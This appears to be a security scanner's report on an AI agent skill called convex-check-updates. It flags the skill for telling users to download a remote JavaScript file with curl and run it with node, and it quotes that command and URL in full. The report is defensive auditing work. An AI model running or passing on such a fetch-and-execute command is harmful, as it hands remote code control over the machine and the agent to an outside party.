convex-check-updates

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 0.90). High-risk: the skill instructs users to download and directly execute a remote script (curl ... && node), which enables remote code execution and supply-chain/backdoor abuse.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill's runtime instructs users to run a curl of remote JavaScript and then execute it (curl -fsSL https://graceful-tiger-715.convex.site/check-updates.mjs -o /tmp/cu.mjs && node /tmp/cu.mjs), which fetches and runs remote code that can directly control the agent's behavior.